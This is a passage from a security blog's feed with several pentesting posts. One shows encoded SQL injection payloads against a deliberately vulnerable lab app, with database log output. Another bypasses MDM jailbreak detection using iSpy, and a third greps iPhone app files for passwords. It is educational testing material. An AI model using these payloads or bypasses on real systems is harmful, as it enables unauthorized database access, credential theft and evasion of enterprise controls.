<p>Anytime you’re trying to sell something new within your organization it’s probably best to think of all the questions someone will ask whether that’s being inquisitive about the solution or from a devils advocate perspective.  Leaving off the cost aspect as that will vary hopefully my points help to answer potential questions but there are some questions that you can ask to leadership or folks within your organization that might shed light on how a BAS solution can bridge those gaps.</p>

<p><em>Can we detect simple and complex threat actor attacks?</em></p>

<p><em>Can various types of malware be transferred through our boundaries?</em></p>

<p><em>Will our alerting logic correlate certain events?</em></p>

<p><em>How secure are we from all the various TTP’s?</em></p>

<p><em>Could we respond quickly enough (ransomware, worms, etc.)?</em></p>

<p><em>Can an attacker run code or bypass application controls undetected?</em></p>

<p><em>If we ran this in other environments would we see it?</em></p>

<p>These are just some of the questions that BAS is meant to help answer.  Others within your organization may be able to either fully or partially answer these questions but no one is 100% secure and as we play this cat &amp; mouse game with adversaries that are looking to find any crack within our armor then leveraging something like a BAS solution will help us to answer those questions more definitively and better yet put a solution in place that can be better adapted as you move forward facing even greater challenges.</p>

<p>References</p>

<p><a href="https://misti.com/infosec-insider/a-primer-on-breach-and-attack-simulations">https://misti.com/infosec-insider/a-primer-on-breach-and-attack-simulations</a></p>

<p><a href="https://www.gartner.com/doc/3875421/utilizing-breach-attack-simulation-tools">https://www.gartner.com/doc/3875421/utilizing-breach-attack-simulation-tools</a></p>]]></content><author><name>Travis Altman</name></author><summary type="html"><![CDATA[Some would say what’s old is new again when it comes to a phrase like “breach and attack simulations”. How is this different from vulnerability scanning, pentesting, or red teaming? Really it’s more of a maturation of cyber security services so if your organization doesn’t currently employ a combination of vulnerability scanning, penetration testing, or red teaming then breach and attack simulations services should probably be lower on your list.]]></summary></entry><entry><title type="html">Encode your SQL injection attacks</title><link href="http://travisaltman.com/encode-your-sql-injection-attacks/" rel="alternate" type="text/html" title="Encode your SQL injection attacks" /><published>2015-10-30T00:00:00+00:00</published><updated>2015-10-30T00:00:00+00:00</updated><id>http://travisaltman.com/encode-your-sql-injection-attacks</id><content type="html" xml:base="http://travisaltman.com/encode-your-sql-injection-attacks/"><![CDATA[<p>Encoding SQL injection attacks is nothing new and automated tools like SQLmap will more than likely find flaws via this method.  That being said I was combing through some of my old docs and found what I think is a decent explanation how this type of attack leads to SQL injection.</p>

<p>I’ll be demonstrating this on an app called GetBoo that is installed on the <a href="https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project">OWASP broken web app project</a> so feel free to download the virtual image they provide and begin playing with GetBoo and other similar broken applications.  Inside GetBoo we look for some SQL injection, unauthenticated vulnerabilities are always best if you can find them. Going to the home page of GetBoo we see there are comments posted to a bookmark. Hovering over the comment link and also clicking on the comment link takes us to http://172.16.114.218/getboo/comment.php?bID=2, keep in mind your IP address will be different. In Burp let’s send this request to repeater so that we can analyze if the bID parameter is vulnerable to SQL injection. First thing we’ll want to do is throw in the classic single quote, doing this responds back with a 500 server error.</p>

<p><img src="/assets/getboo1.png" alt="getboo1" /></p>

<p>This does not mean the application is vulnerable to SQL injection but it is an indicator that the application can’t handle the single quote without failure. Let’s look at a request that handles the single quote just fine, at the home page you can click on “Popular Tags”, after that click on sort by “Popularity”. Send that request to repeater in Burp and instead of “popularity” for the sort parameter place a single quote in for the value of sort. You will notice that the application handles the request just fine with a 200 OK status.</p>

<p><img src="/assets/getboo2.png" alt="getboo2" /></p>

<p>The other classic SQL injection string ‘ or 1=1 also gives us a 500 error, most of those classic ‘ or 1=1 attacks are followed by a – which is a comment in Microsoft SQL server. In this example we’re running MySQL so if we wanted to follow it up with a commend it would look like ‘ or 1=1#.</p>

<p><img src="/assets/getboo3.png" alt="getboo3" /></p>

<p>Still getting a 500 error. Let’s try another technique which is to finish out or complete the request with a single or double quote after a valid parameter value.</p>

<p><img src="/assets/getboo4.png" alt="getboo4" /></p>

<p>So finishing off the request with a single quote and appending the and 1=1 still results in the same error. You can try the same attack without the single quote to see the affect as well.</p>

<p><img src="/assets/getboo5.png" alt="getboo5" /></p>

<p>Just because we get a 200 OK doesn’t mean that our SQL injection was successful, if you put other meaningless data besides 1=1 you may not notice a change.</p>

<p><img src="/assets/getboo6.png" alt="getboo6" /></p>

<p><img src="/assets/getboo7.png" alt="getboo7" /></p>

<p>Here we see it doesn’t matter what we append after a valid value for the bID parameter because the application is simply ignoring anything after, so this isn’t going to lead us down the path to SQL injection at least for this particular parameter so somehow we need to focus on finishing off the query with either the single quote or another technique.</p>

<p>With GetBoo installed locally you can gain access to the Mysql database logs which is extremely helpful when trying to debug a successful SQL injection attack of course in the real world this is unlikely to happen but if you want to perform better testing on your application then giving application testers access will go a long way.</p>

<p>Let’s go back to our single quote attack and see the output from the database query.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>140805 3:31:05 750 Connect getboo@localhost on getboo
750 Query SELECT config_name, config_value FROM configs
750 Query select title from favourites where id='2''
750 Quit
</code></pre></div></div>

<p>Here we see that it is keeping the request as we sent it. In this case if the attack string bID=2’ and 1=1 is sent you get the same output from the Mysql database logs, this means the application is discarding anything after the single quote. One way of getting around that may be to encode your attack string. This time we will URL encode our attack string, so instead of the request being bID=2’ and 1=1 it will now be bID=2 %27%20%61%6e%64%20%31%3d%31. Once we run that the following shows up in the Mysql logs.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>140805 3:43:25 755 Connect getboo@localhost on getboo
755 Query SELECT config_name, config_value FROM configs
755 Query select title from favourites where id='2' and 1=1'
755 Quit
</code></pre></div></div>

<p>Encoding the attack made all the difference although we still get a 500 error when making the request so we’ll need keep hammering away.</p>

<p><img src="/assets/getboo8.png" alt="getboo8" /></p>

<p>Not all is lost though because notice in the Mysql output that a single quote is appended on the 1=1 even though we didn’t specify a single quote at the end of the attack. So instead of using numeric values we need to use strings and quote those strings but leave off the final quote as the application will put that in place for us. So in this case we can use the attack string bID=2’ and ‘blah’=’blah and the URL encoded value is bID= %32%27%20%61%6e%64%20%27%62%6c%61%68%27%3d%27%62%6c%61%68.</p>

<p><img src="/assets/getboo9.png" alt="getboo9" /></p>

<p>Great success we were able to get a meaningful 200 response to our attacks. In the output from Mysql we can see that it properly parsed our attack as a valid SQL statement.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>140805 4:03:19 765 Connect getboo@localhost on getboo
765 Query SELECT config_name, config_value FROM configs
765 Query select title from favourites where id='2' and 'blah'='blah'
765 Query select b_id from tags_books where b_id='2' and 'blah'='blah'
765 Query select title from favourites where id='2' and 'blah'='blah'
765 Query select b.ADD_DATE AS formatted_time, id, title, url, description, name from favourites b, tags_added ta where (b.id = ta.b_id and b.id = '2' and 'blah'='blah')
765 Query select title from tags t, tags_books tb where (t.id=tb.t_id and tb.b_id = '2')
765 Query select title from comments where bid='2'
765 Query select title, comment, author, date from comments where bid='2' and 'blah'='blah'
765 Query SELECT t.title, count(tb.t_id) as amount from tags_books tb, tags t, favourites f where t.id = tb.t_id and tb.b_id = f.id and f.name = 'user' group by tb.t_id, t.title order by amount desc LIMIT 0, 35
765 Quit
</code></pre></div></div>

<p>Now that we confirmed that we’re actually making proper database requests we can begin to pilfer the contents of the database.</p>]]></content><author><name>Travis Altman</name></author><summary type="html"><![CDATA[Encoding SQL injection attacks is nothing new and automated tools like SQLmap will more than likely find flaws via this method. That being said I was combing through some of my old docs and found what I think is a decent explanation how this type of attack leads to SQL injection.]]></summary></entry><entry><title type="html">Defeating MDM: Enrolling a jailbroken device into a mobile device management system</title><link href="http://travisaltman.com/defeating-mdm-enrolling-a-jailbroken-device-into-a-mobile-device-mangement-system/" rel="alternate" type="text/html" title="Defeating MDM: Enrolling a jailbroken device into a mobile device management system" /><published>2015-04-30T00:00:00+00:00</published><updated>2015-04-30T00:00:00+00:00</updated><id>http://travisaltman.com/defeating-mdm-enrolling-a-jailbroken-device-into-a-mobile-device-mangement-system</id><content type="html" xml:base="http://travisaltman.com/defeating-mdm-enrolling-a-jailbroken-device-into-a-mobile-device-mangement-system/"><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Wikipedia:Too_long;_didn%27t_read">TLDR</a>:  I was able to enroll a jail broken device on a “major” MDM provider.  Any vendor that says they can prevent jailbroken devices from enrolling in a MDM solution is not being 100% honest.  Any resourceful person can get around jailbreak detections.  Because of the client side nature of this problem it’s very difficult to control the end user, as always it’s a cat and mouse game.</p>

<p>MDM or <a href="http://en.wikipedia.org/wiki/Mobile_device_management">mobile device management</a> is a way for organizations to control, push configurations, set policies, monitor, etc on phones and tablets.  Mobile operating systems today offer some MDM capabilities but the reason why MDM solutions are popping out of the woodwork is that there are features lacking especially in iPhone / iOS and Android.  Google has recently come out with <a href="https://www.google.com/work/android/">Android for Work</a> (AFW) which looks to close the gap and add a lot of MDM capabilities which will greatly help organizations adopt the Android platform, especially in a <a href="http://en.wikipedia.org/wiki/Bring_your_own_device">BYOD</a> environment.  With that intro out of the way let’s get to how one can break MDM.</p>

<p>This will focus on iOS.  Enrolling a jailbroken device can very from quite simple to reversing the MDM app on how it checks for jailbreak detection.  I got enrolled a jailbroken device via the simple method.  <a href="https://www.linkedin.com/pub/joseph-demesy/74/816/440">Joe Demesy</a> and the guys at BishopFox did all the hard work and created an app, named <a href="https://github.com/BishopFox/iSpy">iSpy</a>, to make all of this easier.  Follow the instructions on how to get everything setup and once done you will be able to perform actions such as code injection, runtime modification, debugging, disable SSL certificate pinning, and bypassing jailbreak detection.  Once installed go to Settings &gt; iSpy and there you can enable “Bypass Common JailBreak Checks”, click on the screen shot below for the full size image.</p>

<p><img src="/assets/iSpy-225x300.png" alt="iSpy" /></p>

<p>To get around this “major” commercial MDM vendor jailbreak detection all I had to do was enable the feature inside of iSpy.  You will also have to enable “Inject iSpy into Apps” for the MDM mobile app.  Next open up the MDM app and you should briefly see in the top left of the app that iSpy is successfully injected into the app.  Below is an example of iSpy injected into OneNote.</p>

<p><img src="/assets/OneNote-261x300.png" alt="OneNote" /></p>

<p>After I did these two steps I was able to successfully enroll my jailbroken device inside the commercial MDM solution.  The purpose of MDM’s blocking jailbroken devices is that they have full root access to the device which allows an attacker or malicious user to modify the intentional features of a MDM solution.  So allowing a jailbroken device is somewhat of a big deal as you don’t have the same protections as you would with a non-jailbroken device.</p>

<p>Especially in iOS this cat and mouse game of jailbreak detection will continue.  Anytime you have a MDM iOS app the only thing it can do is what’s allowed by the iOS framework which is somewhat limiting.  Also a jailbroken device can inject itself into the mobile MDM app and modify it to trick the MDM app that it isn’t jailbroken.  So there you go, thanks to Joe Demesy and others it’s that simple to get around a MDM solution.</p>

<p>For reference below are some links on techniques MDM vendors use to detect a jailbroken device which in turn attackers will try and get around.</p>

<p><a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/Jailbreak-Detection-Methods/">https://www.trustwave.com/Resources/SpiderLabs-Blog/Jailbreak-Detection-Methods/</a></p>

<p><a href="https://reverse.put.as/2013/06/30/gone-in-59-seconds-tips-and-tricks-to-bypass-appminders-jailbreak-detection/">https://reverse.put.as/2013/06/30/gone-in-59-seconds-tips-and-tricks-to-bypass-appminders-jailbreak-detection/</a></p>

<p><a href="http://resources.infosecinstitute.com/ios-application-security-part-23-jailbreak-detection-evasion/">http://resources.infosecinstitute.com/ios-application-security-part-23-jailbreak-detection-evasion/</a></p>

<p><a href="http://www.bishopfox.com/news/2014/09/misti-itac-2014-mobile-application-security-testing-code-review/">http://www.bishopfox.com/news/2014/09/misti-itac-2014-mobile-application-security-testing-code-review/</a></p>]]></content><author><name>Travis Altman</name></author><summary type="html"><![CDATA[TLDR: I was able to enroll a jail broken device on a “major” MDM provider. Any vendor that says they can prevent jailbroken devices from enrolling in a MDM solution is not being 100% honest. Any resourceful person can get around jailbreak detections. Because of the client side nature of this problem it’s very difficult to control the end user, as always it’s a cat and mouse game.]]></summary></entry><entry><title type="html">iphone: quick process to check for local files of interest</title><link href="http://travisaltman.com/iphone-quick-proess-to-check-for-local-files-of-interest/" rel="alternate" type="text/html" title="iphone: quick process to check for local files of interest" /><published>2015-03-30T00:00:00+00:00</published><updated>2015-03-30T00:00:00+00:00</updated><id>http://travisaltman.com/iphone-quick-proess-to-check-for-local-files-of-interest</id><content type="html" xml:base="http://travisaltman.com/iphone-quick-proess-to-check-for-local-files-of-interest/"><![CDATA[<ol>
  <li>Plug iPhone or iPad into Mac</li>
  <li>User iExplorer or iFunbox to explore file system of apps</li>
  <li>Export relevant directories to local box (Usually Library and *.app)</li>
  <li>Search for files of interest</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find <span class="nb">.</span> <span class="nt">-name</span> <span class="s2">"</span><span class="se">\*</span><span class="s2">.db"</span>
find <span class="nb">.</span> <span class="nt">-name</span> <span class="s2">"</span><span class="se">\*</span><span class="s2">.plist"</span>
find <span class="nb">.</span> <span class="nt">-name</span> <span class="s2">"</span><span class="se">\*</span><span class="s2">.sql</span><span class="se">\*</span><span class="s2">"</span>
</code></pre></div></div>

<p>Search inside the files for items of interest</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find <span class="nb">.</span> <span class="nt">-type</span> f <span class="nt">-exec</span> <span class="nb">grep</span> <span class="nt">-l</span> <span class="nt">-i</span> <span class="s2">"password"</span> <span class="o">{}</span> +
</code></pre></div></div>

<p>iExplorer can open plist in quick view</p>

<p>You can open databases with Sqlite browser</p>

<p>One can read cookie with BinaryCookieReader.py</p>]]></content><author><name>Travis Altman</name></author><summary type="html"><![CDATA[Plug iPhone or iPad into Mac User iExplorer or iFunbox to explore file system of apps Export relevant directories to local box (Usually Library and *.app) Search for files of interest find . -name "\*.db" find . -name "\*.plist" find . -name "\*.sql\*" Search inside the files for items of interest find . -type f -exec grep -l -i "password" {} + iExplorer can open plist in quick view You can open databases with Sqlite browser One can read cookie with BinaryCookieReader.py]]></summary></entry></feed>